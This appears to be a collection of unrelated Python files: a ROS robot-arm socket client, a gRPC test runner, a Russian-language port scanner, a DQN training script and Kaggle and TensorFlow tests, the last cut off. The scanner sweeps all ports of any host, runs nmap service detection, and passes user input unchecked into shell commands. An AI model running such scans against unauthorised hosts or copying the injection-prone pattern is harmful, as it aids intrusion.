#data = '0' #設定傳輸資料初始值
Arm_feedback = 1 #假設手臂忙碌
NAME = 'socket_server'
arm_mode_flag = False
##------------class pos-------
class point():
def __init__(self, x, y, z, pitch, roll, yaw):
self.x = x
self.y = y
self.z = z
self.pitch = pitch
self.roll = roll
self.yaw = yaw
pos = point(0.0,36.8,11.35,-90.0,0.0,0.0)
##------------class socket_cmd---------
class socket_data():
def __init__(self, grip, setvel, ra, delay, setboth, action,Speedmode):
self.grip = grip
self.setvel = setvel
self.ra = ra
self.delay = delay
self.setboth = setboth
self.action = action
self.Speedmode = Speedmode
socket_cmd = socket_data(0,0.0,0,0,0,0,0)
##-----------switch define------------##
class switch(object):
def __init__(self, value):
self.value = value
self.fall = False
def __iter__(self):
"""Return the match method once, then stop"""
yield self.match
raise StopIteration
def match(self, *args):
"""Indicate whether or not to enter a case suite"""
if self.fall or not args:
return True
elif self.value in args: # changed for v1.5, see below
self.fall = True
return True
else:
return False
##-----------client feedback arm state----------
class StateFeedback():
def __init__(self,ArmState,SentFlag):
self.ArmState = ArmState
self.SentFlag = SentFlag
state_feedback = StateFeedback(0,0)
class client():
def __init__(self):
#self.get_connect()
pass
def get_connect(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.0.1', 8080))
def send(self, msg):
self.s.send(msg.encode('utf-8')) #用utf-8來encode，還有其他encode的方法，str用utf-8就OK!
def get_recieve(self):
data = self.s.recv(1024) #1024指定buffer的大小，限制一次收多少
data.decode('utf-8')
return data
def close(self):
self.s.close()
Socket = client()
def point_data(x,y,z,pitch,roll,yaw): ##接收策略端傳送位姿資料
pos.x = x
pos.y = y
pos.z = z
pos.pitch = pitch
pos.roll = roll
pos.yaw = yaw
##----------Arm Mode-------------###
def Arm_Mode(action,grip,ra,setvel,setboth): ##接收策略端傳送手臂模式資料
global arm_mode_flag
socket_cmd.action = action
socket_cmd.grip = grip
socket_cmd.ra = ra
socket_cmd.setvel = setvel
socket_cmd.setboth = setboth
arm_mode_flag = True
Socket_command()
##-------Arm Speed Mode------------###
def Speed_Mode(speedmode): ##接收策略端傳送手臂模式資料
socket_cmd.Speedmode = speedmode
def socket_talker(): ##創建Server node
pub = rospy.Publisher('chatter', Int32MultiArray, queue_size=10)
rospy.init_node(NAME)
rate = rospy.Rate(10) # 10hz
print ("Ready to connect")
while not rospy.is_shutdown():
# hello_str = "hello world %s" % rospy.get_time()
state = Int32MultiArray()
state.data = [state_feedback.ArmState,state_feedback.SentFlag]
pub.publish(state)
rate.sleep()
##----------socket 封包傳輸--------------##
##---------------socket 傳輸手臂命令-----------------
def Socket_command():
for case in switch(socket_cmd.action):
#-------PtP Mode--------
if case(Taskcmd.Action_Type.PtoP):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
break
#-------Line Mode--------
if case(Taskcmd.Action_Type.Line):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
break
#-------設定手臂速度--------
if case(Taskcmd.Action_Type.SetVel):
data = TCP.SetVel(socket_cmd.grip, socket_cmd.setvel)
break
#-------設定手臂Delay時間--------
if case(Taskcmd.Action_Type.Delay):
data = TCP.SetDelay(socket_cmd.grip,0)
break
#-------設定手臂急速&安全模式--------
if case(Taskcmd.Action_Type.Mode):
data = TCP.Set_SpeedMode(socket_cmd.grip,socket_cmd.Speedmode)
break
socket_cmd.action= 6 ##切換初始mode狀態
print(data)
print("Socket:", Socket)
#Socket.send(data.encode('utf-8'))#socket傳送for python to translate str
Socket.send(data)
##-----------socket client--------
def socket_client():
#global Socket
try:
#Socket = client()
Socket.get_connect()
#Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Socket.connect(('192.168.0.1', 8080))#iclab 5 ＆ iclab hiwin
#s.connect(('192.168.1.102', 8080))#iclab computerx
print('Connection has been successful')
except socket.error as msg:
print(msg)
sys.exit(1)
#print('Connection has been successful')
Socket_feedback(Socket)
rospy.on_shutdown(myhook)
Socket.close()
def Socket_feedback(s):
Socket = s
while 1:
feedback_str = Socket.get_recieve()
#手臂端傳送手臂狀態
if str(feedback_str[2]) == '48':# F 手臂為Ready狀態準備接收下一個運動指令
state_feedback.ArmState = 0
if str(feedback_str[2]) == '49':# T 手臂為忙碌狀態無法執行下一個運動指令
state_feedback.ArmState = 1
if str(feedback_str[2]) == '54':# 6 策略完成
state_feedback.ArmState = 6
print("shutdown")
#確認傳送旗標
if str(feedback_str[4]) == '48':#回傳0 false
state_feedback.SentFlag = 0
if str(feedback_str[4]) == '49':#回傳1 true
state_feedback.SentFlag = 1
##---------------socket 傳輸手臂命令 end-----------------
if state_feedback.ArmState == Taskcmd.Arm_feedback_Type.shutdown:
break
##-----------socket client end--------
##-------------socket 封包傳輸 end--------------##
def myhook():
print ("shutdown time!")
if __name__ == '__main__':
socket_cmd.action = 6##切換初始mode狀態
## 多執行緒
t = threading.Thread(target=socket_client)
t.start() # 開啟多執行緒
#time.sleep(1)
try:
socket_talker()
except rospy.ROSInterruptException:
pass
t.join()
## 多執行序 end
|
_runner.py | # Copyright 2015 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
import collections
import os
import select
import signal
import sys
import tempfile
import threading
import time
import unittest
import uuid
import six
from six import moves
from tests import _loader
from tests import _result
class CaptureFile(object):
"""A context-managed file to redirect output to a byte array.
Use by invoking `start` (`__enter__`) and at some point invoking `stop`
(`__exit__`). At any point after the initial call to `start` call `output` to
get the current redirected output. Note that we don't currently use file
locking, so calling `output` between calls to `start` and `stop` may muddle
the result (you should only be doing this during a Python-handled interrupt as
a last ditch effort to provide output to the user).
Attributes:
_redirected_fd (int): File descriptor of file to redirect writes from.
_saved_fd (int): A copy of the original value of the redirected file
descriptor.
_into_file (TemporaryFile or None): File to which writes are redirected.
Only non-None when self is started.
"""
def __init__(self, fd):
self._redirected_fd = fd
self._saved_fd = os.dup(self._redirected_fd)
self._into_file = None
def output(self):
"""Get all output from the redirected-to file if it exists."""
if self._into_file:
self._into_file.seek(0)
return bytes(self._into_file.read())
else:
return bytes()
def start(self):
"""Start redirection of writes to the file descriptor."""
self._into_file = tempfile.TemporaryFile()
os.dup2(self._into_file.fileno(), self._redirected_fd)
def stop(self):
"""Stop redirection of writes to the file descriptor."""
# n.b. this dup2 call auto-closes self._redirected_fd
os.dup2(self._saved_fd, self._redirected_fd)
def write_bypass(self, value):
"""Bypass the redirection and write directly to the original file.
Arguments:
value (str): What to write to the original file.
"""
if six.PY3 and not isinstance(value, six.binary_type):
value = bytes(value, 'ascii')
if self._saved_fd is None:
os.write(self._redirect_fd, value)
else:
os.write(self._saved_fd, value)
def __enter__(self):
self.start()
return self
def __exit__(self, type, value, traceback):
self.stop()
def close(self):
"""Close any resources used by self not closed by stop()."""
os.close(self._saved_fd)
class AugmentedCase(collections.namedtuple('AugmentedCase', ['case', 'id'])):
"""A test case with a guaranteed unique externally specified identifier.
Attributes:
case (unittest.TestCase): TestCase we're decorating with an additional
identifier.
id (object): Any identifier that may be considered 'unique' for testing
purposes.
"""
def __new__(cls, case, id=None):
if id is None:
id = uuid.uuid4()
return super(cls, AugmentedCase).__new__(cls, case, id)
# NOTE(lidiz) This complex wrapper is not triggering setUpClass nor
# tearDownClass. Do not use those methods, or fix this wrapper!
class Runner(object):
def __init__(self, dedicated_threads=False):
"""Constructs the Runner object.
Args:
dedicated_threads: A bool indicates whether to spawn each unit test
in separate thread or not.
"""
self._skipped_tests = []
self._dedicated_threads = dedicated_threads
def skip_tests(self, tests):
self._skipped_tests = tests
def run(self, suite):
"""See setuptools' test_runner setup argument for information."""
# only run test cases with id starting with given prefix
testcase_filter = os.getenv('GRPC_PYTHON_TESTRUNNER_FILTER')
filtered_cases = []
for case in _loader.iterate_suite_cases(suite):
if not testcase_filter or case.id().startswith(testcase_filter):
filtered_cases.append(case)
# Ensure that every test case has no collision with any other test case in
# the augmented results.
augmented_cases = [
AugmentedCase(case, uuid.uuid4()) for case in filtered_cases
]
case_id_by_case = dict((augmented_case.case, augmented_case.id)
for augmented_case in augmented_cases)
result_out = moves.cStringIO()
result = _result.TerminalResult(
result_out, id_map=lambda case: case_id_by_case[case])
stdout_pipe = CaptureFile(sys.stdout.fileno())
stderr_pipe = CaptureFile(sys.stderr.fileno())
kill_flag = [False]
def sigint_handler(signal_number, frame):
if signal_number == signal.SIGINT:
kill_flag[0] = True # Python 2.7 not having 'local'... :-(
signal.signal(signal_number, signal.SIG_DFL)
def fault_handler(signal_number, frame):
stdout_pipe.write_bypass(
'Received fault signal {}\nstdout:\n{}\n\nstderr:{}\n'.format(
signal_number, stdout_pipe.output(), stderr_pipe.output()))
os._exit(1)
def check_kill_self():
if kill_flag[0]:
stdout_pipe.write_bypass('Stopping tests short...')
result.stopTestRun()
stdout_pipe.write_bypass(result_out.getvalue())
stdout_pipe.write_bypass('\ninterrupted stdout:\n{}\n'.format(
stdout_pipe.output().decode()))
stderr_pipe.write_bypass('\ninterrupted stderr:\n{}\n'.format(
stderr_pipe.output().decode()))
os._exit(1)
def try_set_handler(name, handler):
try:
signal.signal(getattr(signal, name), handler)
except AttributeError:
pass
try_set_handler('SIGINT', sigint_handler)
try_set_handler('SIGSEGV', fault_handler)
try_set_handler('SIGBUS', fault_handler)
try_set_handler('SIGABRT', fault_handler)
try_set_handler('SIGFPE', fault_handler)
try_set_handler('SIGILL', fault_handler)
# Sometimes output will lag after a test has successfully finished; we
# ignore such writes to our pipes.
try_set_handler('SIGPIPE', signal.SIG_IGN)
# Run the tests
result.startTestRun()
for augmented_case in augmented_cases:
for skipped_test in self._skipped_tests:
if skipped_test in augmented_case.case.id():
break
else:
sys.stdout.write('Running {}\n'.format(
augmented_case.case.id()))
sys.stdout.flush()
if self._dedicated_threads:
# (Deprecated) Spawns dedicated thread for each test case.
case_thread = threading.Thread(
target=augmented_case.case.run, args=(result,))
try:
with stdout_pipe, stderr_pipe:
case_thread.start()
# If the thread is exited unexpected, stop testing.
while case_thread.is_alive():
check_kill_self()
time.sleep(0)
case_thread.join()
except: # pylint: disable=try-except-raise
# re-raise the exception after forcing the with-block to end
raise
# Records the result of the test case run.
result.set_output(augmented_case.case, stdout_pipe.output(),
stderr_pipe.output())
sys.stdout.write(result_out.getvalue())
sys.stdout.flush()
result_out.truncate(0)
check_kill_self()
else:
# Donates current thread to test case execution.
augmented_case.case.run(result)
result.stopTestRun()
stdout_pipe.close()
stderr_pipe.close()
# Report results
sys.stdout.write(result_out.getvalue())
sys.stdout.flush()
signal.signal(signal.SIGINT, signal.SIG_DFL)
with open('report.xml', 'wb') as report_xml_file:
_result.jenkins_junit_xml(result).write(report_xml_file)
return result
|
fast_scan_ports.py | import threading
import socket
import os
import subprocess
import sys
import psutil
import time
from colorama import Fore, Back, Style
print("""
Для данного сканирования у вас должен быть установлен Nmap
""")
target = str(input("[ ====> ] IP/HOST цели : "))
# Чтобы использовать инструмент на постоянной основе нужно сделать его удобным, добавим первые аргументы и получим их значения:
# if target != "" :
# # indexoftarget=sys.argv.index(target)
# target=sys.argv[str(target)]
# else:
# print("Target is not specified, see --help")
# exit()
# def main():
try:
if socket.gethostbyname(target) == target:
print("[", Fore.LIGHTCYAN_EX+"Info"+Style.RESET_ALL, "] ЦЕЛЬ ВЫБРАНА > "+target.format(target))
pass
elif socket.gethostbyname(target) != target:
print("[", Fore.LIGHTCYAN_EX+"Info"+Style.RESET_ALL, "] ЦЕЛЬ ВЫБРАНА > "+target.format(target))
pass
except socket.gaierror:
print("Вы что то ввели не так")
# if("--help" in sys.argv):
# print("Usage: python3 rollerscan.py --target [target]")
# print("Additional flags:")
# print("--virtual-hosts (-vh) — try to find virtual hosts")
# print("--vuln (-v) — find possible exploits")
# print("--censys (-c) — use censys to search for additional info.")
# print("--port (-p) — specify port range for scan, by default 1-60 000")
# exit()
#
# if("--port" in sys.argv):
# indexofport=sys.argv.index("--port")
# port=sys.argv[indexofport+1]
# def data_taget():
print("""
Порт можно указывать либо один либо через -
Пример 1-65536 или 443
Если вы просто нажмёте Enter
то будут сканироваться все порты
""")
try:
port = str(input("[ ====> ] Порт цели : "))
if ("-" in port):
port = port.split("-")
end = int(port[1])
print(end)
start = int(port[0])
print(start)
else:
print(f'Взято значение по умаолчанию')
start = 1
end = 65536
except:
pass
# elif("-p" in sys.argv):
# indexofport=sys.argv.index("-p")
# port=sys.argv[indexofport+1]
# if("-" in port):
# port=port.split("-")
# end=int(port[1])
# start=int(port[0])
# else:
# start=1
# end=65536
response=os.system("ping -c 1 " + target)
processes=[]
nmapdone={}
if (response==0):
print("[", Fore.LIGHTCYAN_EX+"Info"+Style.RESET_ALL, "]", Fore.YELLOW+target+Style.RESET_ALL, Fore.GREEN+"Активен"+Style.RESET_ALL)
if (response!=0):
print("[", Fore.LIGHTCYAN_EX+"^"+Style.RESET_ALL, "]", Fore.LIGHTYELLOW_EX+target+Style.RESET_ALL, Fore.RED+"Выключен"+Style.RESET_ALL)
choise=input("Хотите ли вы продолжать считать, что цель помечена как выключена? Y/N: ")
if(choise=="Y" or choise=="y" or choise=="Да" or choise=="да" or choise=="дА" or choise=="д" or choise=="Д"):
pass
else:
print(Fore.RED+"Цель выключена")
exit()
print("[", Fore.LIGHTCYAN_EX+"Info"+Style.RESET_ALL, "]", Fore.BLUE+"Старт сканирования!"+Style.RESET_ALL)
start_time=time.time()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print (s)
s.settimeout(0.5)
def portscan(port):
try:
con = s.connect((target, port))
print(type(con))
print('[', Fore.LIGHTCYAN_EX+'*'+Style.RESET_ALL,']',Fore.YELLOW+f'''Port: {str(port)}'''+Style.RESET_ALL, Fore.GREEN+"is opened."+Style.RESET_ALL)
process=subprocess.Popen(f'''nmap -sV {target} -p {port}''', shell=True)
processes.append(process.pid)
con.close()
except Exception as e:
print(f'[{Fore.LIGHTCYAN_EX}Info{Style.RESET_ALL}] port > {str(Fore.RED + str(port) + Style.RESET_ALL)} закрыт')
pass
r = start
for r in range(start, end):
try:
t = threading.Thread(target=portscan, kwargs={'port':r})
r += 1
t.start()
except KeyboardInterrupt:
os._exit(0)
except Exception as e:
portscan(r)
r += 1
def checkprocess():
for proc in processes:
if psutil.pid_exists(proc):
nmapdone[proc]='False'
else:
nmapdone[proc]='True'
while 'False' in nmapdone.values():
checkprocess()
threadslist=int(threading.active_count())
while threadslist>1:
threadslist=int(threading.active_count())
time.sleep(0.000001)
print(Fore.BLUE+"Время сканирования составило:"+Style.RESET_ALL, Fore.GREEN+str(round(time.time()-start_time))+Style.RESET_ALL, "сек")
|
apex_dqn.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import multiprocessing as mp
import tensorflow as tf
import numpy as np
import argparse
import time
import gym
import random
from actor import Actor
from learner import Learner
def actor_work(args, queues, num):
# with tf.device('/cpu:0'):
sess = tf.InteractiveSession()
actor = Actor(args, queues, num, sess, param_copy_interval=2000, send_size=200)
actor.run()
def leaner_work(args, queues):
# with tf.device('/gpu:0'):
sess = tf.InteractiveSession()
leaner = Learner(args, queues, sess, batch_size=126)
leaner.run()
# Train Mode
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--num_actors', type=int, default=4, help='number of Actors')
parser.add_argument('--env_name', type=str, default='Alien-v0', help='Environment of Atari2600 games')
parser.add_argument('--train', type=int, default=1, help='train mode or test mode')
parser.add_argument('--test_gui', type=int, default=0, help='decide whether you use GUI or not in test mode')
parser.add_argument('--load', type=int, default=0, help='loading saved network')
parser.add_argument('--network_path', type=str, default=0, help='used in loading and saving (default: \'saved_networks/<env_name>\')')
parser.add_argument('--replay_memory_size', type=int, default=2000000, help='replay memory size')
parser.add_argument('--initial_memory_size', type=int, default=20000, help='Learner waits until replay memory stores this number of transition')
parser.add_argument('--num_episodes', type=int, default=10000, help='number of episodes each agent plays')
parser.add_argument('--frame_width', type=int, default=84, help='width of input frames')
parser.add_argument('--frame_height', type=int, default=84, help='height of input frames')
parser.add_argument('--state_length', type=int, default=4, help='number of input frames')
parser.add_argument('--n_step', type=int, default=3, help='n step bootstrap target')
parser.add_argument('--gamma', type=float, default=0.99, help='discount factor')
args = parser.parse_args()
if args.network_path == 0:
args.network_path = 'saved_networks/' + args.env_name
if not args.load:
assert not os.path.exists('saved_networks/'+args.env_name), 'Saved network already exists.'
if not os.path.exists(args.network_path):
os.makedirs(args.network_path)
if args.train:
assert not os.path.exists(args.env_name+'_output.txt'), 'Output file already exists. Change file name.'
if args.train:
transition_queue = mp.Queue(100)
param_queue = mp.Queue(args.num_actors)
ps = [mp.Process(target=leaner_work, args=(args, (transition_queue, param_queue)))]
for i in range(args.num_actors):
ps.append(mp.Process(target=actor_work, args=(args, (transition_queue, param_queue), i)))
for p in ps:
p.start()
time.sleep(0.5)
for p in ps:
p.join()
# Test Mode
else:
from test_agent import Agent
env = gym.make(args.env_name)
env = gym.wrappers.Monitor(env, args.network_path, force=True)
sess = tf.InteractiveSession()
agent = Agent(args, sess)
t = 0
total_reward = 0
for episode in range(10):
terminal = False
observation = env.reset()
for _ in range(random.randint(1, agent.no_op_steps)):
last_observation = observation
observation, _, _, _ = env.step(0) # Do nothing
state = agent.get_initial_state(observation, last_observation)
while not terminal:
last_observation = observation
action = agent.get_action_at_test(state)
observation, reward, terminal, _ = env.step(action)
if args.test_gui:
env.render()
processed_observation = agent.preprocess(observation, last_observation)
state =np.append(state[1:, :, :], processed_observation, axis=0)
total_reward += reward
t += 1
text = 'EPISODE: {0:6d} / STEPS: {1:5d} / EPSILON: {2:.5f} / TOTAL_REWARD: {3:3.0f}'.format(
episode + 1, t, agent.test_epsilon, total_reward)
print(text)
total_reward = 0
t = 0
|
test_user_session.py | import json
import os
import threading
import unittest
from http.server import BaseHTTPRequestHandler, HTTPServer
from test.support import EnvironmentVarGuard
from urllib.parse import urlparse
from kaggle_session import UserSessionClient
from kaggle_web_client import (_KAGGLE_URL_BASE_ENV_VAR_NAME,
_KAGGLE_USER_SECRETS_TOKEN_ENV_VAR_NAME,
CredentialError, BackendError)
class UserSessionHTTPHandler(BaseHTTPRequestHandler):
def set_request(self):
raise NotImplementedError()
def get_response(self):
raise NotImplementedError()
def do_HEAD(s):
s.send_response(200)
def do_POST(s):
s.set_request()
s.send_response(200)
s.send_header("Content-type", "application/json")
s.end_headers()
s.wfile.write(json.dumps(s.get_response()).encode("utf-8"))
class TestUserSessionClient(unittest.TestCase):
SERVER_ADDRESS = urlparse(os.getenv(_KAGGLE_URL_BASE_ENV_VAR_NAME, default="http://127.0.0.1:8001"))
TEST_JWT = 'test-secrets-key'
def _test_client(self, client_func, expected_path, expected_body, source=None, success=True):
_request = {}
class GetKernelRunSourceForCaipHandler(UserSessionHTTPHandler):
def set_request(self):
_request['path'] = self.path
content_len = int(self.headers.get('Content-Length'))
_request['body'] = json.loads(self.rfile.read(content_len))
_request['headers'] = self.headers
def get_response(self):
if success:
return {'result': {'source': source}, 'wasSuccessful': 'true'}
return {'wasSuccessful': 'false'}
env = EnvironmentVarGuard()
env.set(_KAGGLE_USER_SECRETS_TOKEN_ENV_VAR_NAME, self.TEST_JWT)
with env:
with HTTPServer((self.SERVER_ADDRESS.hostname, self.SERVER_ADDRESS.port), GetKernelRunSourceForCaipHandler) as httpd:
threading.Thread(target=httpd.serve_forever).start()
try:
client_func()
finally:
httpd.shutdown()
path, headers, body = _request['path'], _request['headers'], _request['body']
self.assertEqual(
path,
expected_path,
msg="Fake server did not receive the right request from UserSessionClient.")
self.assertEqual(
body,
expected_body,
msg="Fake server did not receive the right body from UserSessionClient.")
def test_no_token_fails(self):
env = EnvironmentVarGuard()
env.unset(_KAGGLE_USER_SECRETS_TOKEN_ENV_VAR_NAME)
with env:
with self.assertRaises(CredentialError):
client = UserSessionClient()
def test_get_exportable_ipynb_succeeds(self):
source = "import foo"
def call_get_ipynb():
client = UserSessionClient()
response = client.get_exportable_ipynb()
self.assertEqual(source, response['source'])
self._test_client(
call_get_ipynb,
'/requests/GetKernelRunSourceForCaipRequest',
{'UseDraft': True},
source=source,
success=True)
def test_get_exportable_ipynb_fails(self):
def call_get_ipynb():
client = UserSessionClient()
with self.assertRaises(BackendError):
client.get_exportable_ipynb()
self._test_client(
call_get_ipynb,
'/requests/GetKernelRunSourceForCaipRequest',
{'UseDraft': True},
success=False) |
ops_test.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for operations in eager execution."""
import gc
import threading
import weakref
from absl.testing import parameterized
import numpy as np
from tensorflow.python.eager import context
from tensorflow.python.eager import execute
from tensorflow.python.eager import test
from tensorflow.python.framework import config
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors_impl
from tensorflow.python.framework import ops
from tensorflow.python.framework import tensor_shape
from tensorflow.python.framework import test_util
from tensorflow.python.layers import core
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import random_ops
from tensorflow.python.ops import resource_variable_ops
from tensorflow.python.ops import sparse_ops
class OpsTest(test_util.TensorFlowTestCase, parameterized.TestCase):
def testExecuteBasic(self):
three = constant_op.constant(3)
five = constant_op.constant(5)
product = three * five
self.assertAllEqual(15, product)
@test_util.run_gpu_only
def testMatMulGPU(self):
three = constant_op.constant([[3.]]).gpu()
five = constant_op.constant([[5.]]).gpu()
product = math_ops.matmul(three, five)
self.assertEqual([[15.0]], product.numpy())
def testExecuteStringAttr(self):
three = constant_op.constant(3.0)
checked_three = array_ops.check_numerics(three,
message='just checking')
self.assertEqual([[3]], checked_three.numpy())
def testExecuteFloatAttr(self):
three = constant_op.constant(3.0)
almost_three = constant_op.constant(2.8)
almost_equal = math_ops.approximate_equal(
three, almost_three, tolerance=0.3)
self.assertTrue(almost_equal)
def testExecuteIntAttr(self):
three = constant_op.constant(3)
four = constant_op.constant(4)
total = math_ops.add_n([three, four])
self.assertAllEqual(7, total)
def testExecuteBoolAttr(self):
three = constant_op.constant([[3]])
five = constant_op.constant([[5]])
product = math_ops.matmul(three, five, transpose_a=True)
self.assertAllEqual([[15]], product)
def testExecuteOneListOutput(self):
split_dim = constant_op.constant(1)
value = constant_op.constant([[0, 1, 2], [3, 4, 5]])
x1, x2, x3 = array_ops.split(value, 3, axis=split_dim)
self.assertAllEqual([[0], [3]], x1)
self.assertAllEqual([[1], [4]], x2)
self.assertAllEqual([[2], [5]], x3)
def testGraphMode(self):
graph = ops.Graph()
with graph.as_default(), context.graph_mode():
array_ops.placeholder(dtypes.int32)
self.assertLen(graph.get_operations(), 1)
# See comments on handling of int32 tensors on GPU in
# EagerTensor.__init__.
@test_util.run_gpu_only
def testInt32CPUDefault(self):
with context.device('/gpu:0'):
r = constant_op.constant(1) + constant_op.constant(2)
self.assertAllEqual(r, 3)
def testExecuteListOutputLen1(self):
split_dim = constant_op.constant(1)
value = constant_op.constant([[0, 1, 2], [3, 4, 5]])
result = array_ops.split(value, 1, axis=split_dim)
self.assertIsInstance(result, list)
self.assertLen(result, 1)
self.assertAllEqual([[0, 1, 2], [3, 4, 5]], result[0])
def testExecuteListOutputLen0(self):
empty = constant_op.constant([], dtype=dtypes.int32)
result = array_ops.unstack(empty, 0)
self.assertIsInstance(result, list)
self.assertEmpty(result)
def testExecuteMultipleNonListOutput(self):
x = constant_op.constant([1, 2, 3, 4, 5, 6])
y = constant_op.constant([1, 3, 5])
result = array_ops.listdiff(x, y)
out, idx = result
self.assertIs(out, result.out)
self.assertIs(idx, result.idx)
self.assertAllEqual([2, 4, 6], out)
self.assertAllEqual([1, 3, 5], idx)
def testExecuteMultipleListOutput(self):
split_dim = constant_op.constant(1, dtype=dtypes.int64)
indices = constant_op.constant([[0, 2], [0, 4], [0, 5], [1, 0], [1, 1]],
dtype=dtypes.int64)
values = constant_op.constant([2, 3, 5, 7, 11])
shape = constant_op.constant([2, 7], dtype=dtypes.int64)
result = sparse_ops.gen_sparse_ops.sparse_split(
split_dim,
indices,
values,
shape,
num_split=2)
output_indices, output_values, output_shape = result
self.assertLen(output_indices, 2)
self.assertLen(output_values, 2)
self.assertLen(output_shape, 2)
self.assertEqual(output_indices, result.output_indices)
self.assertEqual(output_values, result.output_values)
self.assertEqual(output_shape, result.output_shape)
self.assertAllEqual([[0, 2], [1, 0], [1, 1]], output_indices[0])
self.assertAllEqual([[0, 0], [0, 1]], output_indices[1])
self.assertAllEqual([2, 7, 11], output_values[0])
self.assertAllEqual([3, 5], output_values[1])
self.assertAllEqual([2, 4], output_shape[0])
self.assertAllEqual([2, 3], output_shape[1])
# TODO(josh11b): Test an op that has multiple outputs, some but not
# all of which are lists. Examples: barrier_take_many (currently
# unsupported since it uses a type list) or sdca_optimizer (I don't
# have an example of legal inputs & outputs).
def testComposition(self):
x = constant_op.constant(1, dtype=dtypes.int32)
three_x = x + x + x
self.assertEqual(dtypes.int32, three_x.dtype)
self.assertAllEqual(3, three_x)
def testOperatorOverrides(self):
def ops_test(v1, v2):
a = constant_op.constant(v1)
b = constant_op.constant(v2)
self.assertAllEqual((-a), np.negative(v1))
self.assertAllEqual(abs(b), np.absolute(v2))
self.assertAllEqual((a + b), np.add(v1, v2))
self.assertAllEqual((a - b), np.subtract(v1, v2))
self.assertAllEqual((a * b), np.multiply(v1, v2))
self.assertAllEqual((a * a), np.multiply(v1, v1))
if all(x >= 0 for x in v2):
self.assertAllEqual((a**b), np.power(v1, v2))
self.assertAllEqual((a / b), np.true_divide(v1, v2))
self.assertAllEqual((a / a), np.true_divide(v1, v1))
self.assertAllEqual((a % b), np.mod(v1, v2))
self.assertAllEqual((a < b), np.less(v1, v2))
self.assertAllEqual((a <= b), np.less_equal(v1, v2))
self.assertAllEqual((a > b), np.greater(v1, v2))
self.assertAllEqual((a >= b), np.greater_equal(v1, v2))
# TODO(b/120678848): Remove the else branch once we enable
# ops.Tensor._USE_EQUALITY by default.
if ops.Tensor._USE_EQUALITY:
self.assertAllEqual((a == b), np.equal(v1, v2))
self.assertAllEqual((a != b), np.not_equal(v1, v2))
else:
self.assertAllEqual((a == b), np.equal(v1, v2)[0])
self.assertAllEqual((a != b), np.not_equal(v1, v2)[0])
self.assertAllEqual(v1[0], a[constant_op.constant(0)])
ops_test([1, 4, 8], [2, 3, 5])
ops_test([1, -4, -5], [-2, 3, -6])
def test_basic_slice(self):
npt = np.arange(1, 19, dtype=np.float32).reshape(3, 2, 3)
t = constant_op.constant(npt)
self.assertAllEqual(npt[:, :, :], t[:, :, :])
self.assertAllEqual(npt[::, ::, ::], t[::, ::, ::])
self.assertAllEqual(npt[::1, ::1, ::1], t[::1, ::1, ::1])
self.assertAllEqual(npt[::1, ::5, ::2], t[::1, ::5, ::2])
self.assertAllEqual(npt[::-1, :, :], t[::-1, :, :])
self.assertAllEqual(npt[:, ::-1, :], t[:, ::-1, :])
self.assertAllEqual(npt[:, :, ::-1], t[:, :, ::-1])
self.assertAllEqual(npt[-2::-1, :, ::1], t[-2::-1, :, ::1])
self.assertAllEqual(npt[-2::-1, :, ::2], t[-2::-1, :, ::2])
def testDegenerateSlices(self):
npt = np.arange(1, 19, dtype=np.float32).reshape(3, 2, 3)
t = constant_op.constant(npt)
# degenerate by offering a forward interval with a negative stride
self.assertAllEqual(npt[0:-1:-1, :, :], t[0:-1:-1, :, :])
# degenerate with a reverse interval with a positive stride
